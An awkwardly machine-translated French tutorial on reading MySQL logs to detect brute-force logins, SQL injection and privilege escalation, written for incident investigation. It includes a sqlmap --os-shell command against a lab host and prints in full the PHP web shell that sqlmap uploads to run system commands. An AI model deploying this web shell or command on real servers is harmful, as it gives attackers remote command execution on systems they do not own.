Comment analyser les journaux de base de données

Les attaques de bases de données courantes incluent des mots de passe faibles, des injections SQL, des privilèges élevés, des sauvegardes volées, etc. En analysant les journaux de base de données, les comportements d'attaque peuvent être découverts, les scénarios d'attaque peuvent être restaurés davantage et les sources d'attaque peuvent être retracées.

1. Analyse du journal Mysql

Le journal général des requêtes peut enregistrer les connexions réussies et chaque requête exécutée. Nous pouvons l'utiliser dans le cadre du déploiement de sécurité pour fournir le dépannage. base d’analyse ou d’enquêtes post-piratage.

1. Afficher les informations de configuration du journal

show variables like '%general%';

2 Activer le journal

SET GLOBAL general_log = 'On';

3 Spécifiez le chemin du fichier journal

SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';

Par exemple, lorsque Je visite /test .php?id=1, à ce moment nous obtenons un journal comme celui-ci :

190604 14:46:14       14 Connect    root@localhost on
                      14 Init DB    test   
                      14 Query    SELECT * FROM admin WHERE id = 1     
                      14 Quit

Analysons-le par colonne :

La première colonne : Heure, la colonne heure, le premier est la date, le dernier est la date. L'un correspond aux heures et aux minutes. Certaines des raisons pour lesquelles elles ne sont pas affichées sont dues au fait que ces instructions SQL sont exécutées presque en même temps, de sorte que l'heure n'est pas enregistrée séparément.

La deuxième colonne : Id est l'ID du thread dans la première colonne de show processlist. Pour les connexions longues et certaines instructions SQL fastidieuses, vous pouvez savoir avec précision quel thread est en cours d'exécution.

La troisième colonne : Commande, type d'opération, par exemple, Connect consiste à se connecter à la base de données, et Query consiste à interroger la base de données (les ajouts, suppressions, vérifications et modifications sont tous affichés sous forme de requêtes), et certains les opérations peuvent être spécifiquement filtrées.

La quatrième colonne : argument, informations détaillées, par exemple, Connect root@localhost sur les moyens de se connecter à la base de données, et ainsi de suite, quelles opérations de requête ont été effectuées après la connexion à la base de données.

2. Réussite/échec de connexion

Faisons un test simple. Utilisez l'outil de mot de passe faible que j'ai développé auparavant pour le scanner. 2 utilisateurs, 4 mots de passe, 8 groupes au total.

L'enregistrement du journal dans MySQL ressemble à ceci :

Time                 Id        Command         Argument
190601 22:03:20     98 Connect  root@192.168.204.1 on
        98 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
        103 Connect  mysql@192.168.204.1 on       
        103 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        104 Connect  mysql@192.168.204.1 on       
        104 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Connect  root@192.168.204.1 on       
        101 Connect  root@192.168.204.1 on       
        101 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)       
        99 Connect  root@192.168.204.1 on        
        99 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
        105 Connect  mysql@192.168.204.1 on       
        105 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Query  set autocommit=0      
        102 Connect  mysql@192.168.204.1 on       
        102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Quit

Savez-vous lequel réussit dans ce processus de recherche de mot de passe ?

En utilisant des outils de dynamitage, un enregistrement de mot de passe réussi ressemble à ceci :

190601 22:03:20     100 Connectroot@192.168.204.1 on
   100 Queryset autocommit=0   
   100 Quit

Cependant, si vous utilisez d'autres méthodes, cela peut être un peu différent.

Connexion Navicat pour MySQL :

190601 22:14:07  106 Connectroot@192.168.204.1 on         
         106 QuerySET NAMES utf8
         106 QuerySHOW VARIABLES LIKE 'lower_case_%'         
         106 QuerySHOW VARIABLES LIKE 'profiling'         
         106 QuerySHOW DATABASES

Connexion en ligne de commande :

190601 22:17:25  111 Connectroot@localhost on
         111 Queryselect @@version_comment limit 1
         190601 22:17:56  111 Quit

La différence est que différents outils de connexion à la base de données ont des processus d'initialisation différents pour se connecter à la base de données. Grâce à cette différence, on peut simplement déterminer comment l'utilisateur se connecte à la base de données.

De plus, que vous utilisiez un outil de dynamitage, Navicat pour MySQL ou la ligne de commande, les échecs de connexion auront le même enregistrement.

Enregistrement de l'échec de la connexion :

102 Connect  mysql@192.168.204.1 on 
102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)

Utilisez la commande shell pour une analyse simple :

Quelles adresses IP sont détruites ?

grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
     27 192.168.204.1

Que sont les dictionnaires de noms d'utilisateurs explosifs ?

grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -
nr     13 mysql     12 root      1 root      1 mysql

Dans l'analyse des logs, une attention particulière doit être portée à certaines opérations sensibles, telles que la suppression de tables, la préparation de bases de données, la lecture et l'écriture de fichiers, etc.

Mots clés : drop table, drop function, lock tables, unlock tables, load_file(), into outfile, into dumpfile.
Tables de bases de données sensibles : SELECT * depuis mysql.user, SELECT * depuis mysql.func

3. Traces d'intrusion par injection SQL

Utilisation des vulnérabilités d'injection SQL pendant Dans le processus, nous essaierons d'utiliser le paramètre --os-shell de sqlmap pour obtenir le shell. Si l'opération n'est pas prudente, certaines tables temporaires et fonctions personnalisées créées par sqlmap peuvent être laissées de côté. Jetons d'abord un coup d'œil à l'utilisation et au principe des paramètres sqlmap os-shell :

1. Construisez un point d'injection SQL et activez Burp pour écouter le port 8080

sqlmap.py  -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080

Le processus de communication HTTP est comme suit :

Crée un fichier temporaire tmpbwyov.php, exécute les commandes système en accédant à ce cheval de Troie et revient à l'affichage de la page.

tmpbwyov.php：
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set(&#39;max_execution_time&#39;,0);$z=@ini_get(&#39;disable_functions&#39;);if(!empty($z)){$z=preg_replace(&#39;/[, ]+/&#39;,&#39;,&#39;,$z);$z=explode(&#39;,&#39;,$z);$z=array_map(&#39;trim&#39;,$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f(&#39;system&#39;)){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f(&#39;proc_open&#39;)){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f(&#39;shell_exec&#39;)){$w=shell_exec($c);}elseif(f(&#39;passthru&#39;)){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f(&#39;popen&#39;)){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f(&#39;exec&#39;)){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre class="brush:php;toolbar:false">".$w."

";?>`

a créé une table temporaire sqlmapoutput, a appelé la procédure stockée pour exécuter des commandes système afin d'écrire des données dans la table temporaire, puis a pris les données de la table temporaire et les a affichées au front-end.

En vérifiant les fichiers suspects récemment créés dans le répertoire du site Web, vous pouvez déterminer si une attaque de vulnérabilité par injection SQL s'est produite.

Méthode de vérification :

1. Vérifiez s'il y a des fichiers de chevaux de Troie dans le répertoire du site Web :

2. un fichier UDF Traces de droits et élévation de privilèges MOF

Vérifiez s'il y a des fichiers anormaux dans le répertoire

mysqllibpluginc:/windows/system32/wbem/mof/

Vérifiez si la fonction a été supprimée

select * from mysql.func

3. analyse du journal Web.

Tutoriel recommandé : Sécurité du serveur Web

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!